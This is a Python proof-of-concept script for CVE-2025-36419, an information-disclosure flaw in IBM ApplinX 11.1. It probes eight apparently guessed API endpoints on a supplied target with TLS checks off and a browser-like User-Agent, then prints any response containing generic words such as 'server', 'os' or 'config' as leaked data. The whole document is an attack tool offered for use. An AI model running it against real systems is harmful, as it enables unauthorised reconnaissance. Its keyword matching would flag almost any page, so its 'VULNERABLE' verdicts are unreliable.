# CVE-2025-36419 PoC - IBM ApplinX Information Disclosure
# Target: IBM ApplinX 11.1
# Vulnerability: Server architecture information disclosure
import requests
import sys
def check_vulnerability(target_url):
"""
Check if target is vulnerable to CVE-2025-36419
"""
# Common endpoints that may leak server information
endpoints = [
"/applinx/api/v1/system/info",
"/applinx/api/v1/server/status",
"/applinx/api/v1/config/server",
"/applinx/api/v1/diagnostics",
"/applinx/api/v1/health",
"/applinx/api/v1/metrics",
"/applinx/api/v1/env",
"/applinx/api/v1/info"
]
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "application/json, text/html"
}
vulnerable = False
leaked_info = []
for endpoint in endpoints:
try:
url = target_url.rstrip('/') + endpoint
response = requests.get(url, headers=headers, timeout=10, verify=False)
# Check for information disclosure indicators
if response.status_code == 200:
content = response.text.lower()
info_keywords = ['server', 'architecture', 'os', 'version',
'java', 'system', 'path', 'directory', 'config']
matches = [kw for kw in info_keywords if kw in content]
if matches:
vulnerable = True
leaked_info.append({
"endpoint": endpoint,
"status_code": response.status_code,
"keywords_found": matches,
"sample_content": response.text[:500]
})
except requests.exceptions.RequestException as e:
print(f"[-] Error testing {endpoint}: {e}")
return vulnerable, leaked_info
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve_2025_36419_poc.py <target_url>")
print("Example: python cve_2025_36419_poc.py https://vulnerable-server.com")
sys.exit(1)
target = sys.argv[1]
print(f"[*] Testing target: {target}")
print(f"[*] Checking for CVE-2025-36419 vulnerability...\n")
is_vulnerable, info = check_vulnerability(target)
if is_vulnerable:
print("[!] VULNERABLE - Server architecture information disclosure detected!")
print(f"\n[+] Leaked information found at {len(info)} endpoint(s):")
for item in info:
print(f"\n Endpoint: {item['endpoint']}")
print(f" Keywords: {', '.join(item['keywords_found'])}")
print(f" Sample: {item['sample_content']}")
else:
print("[-] Not vulnerable or target not responding")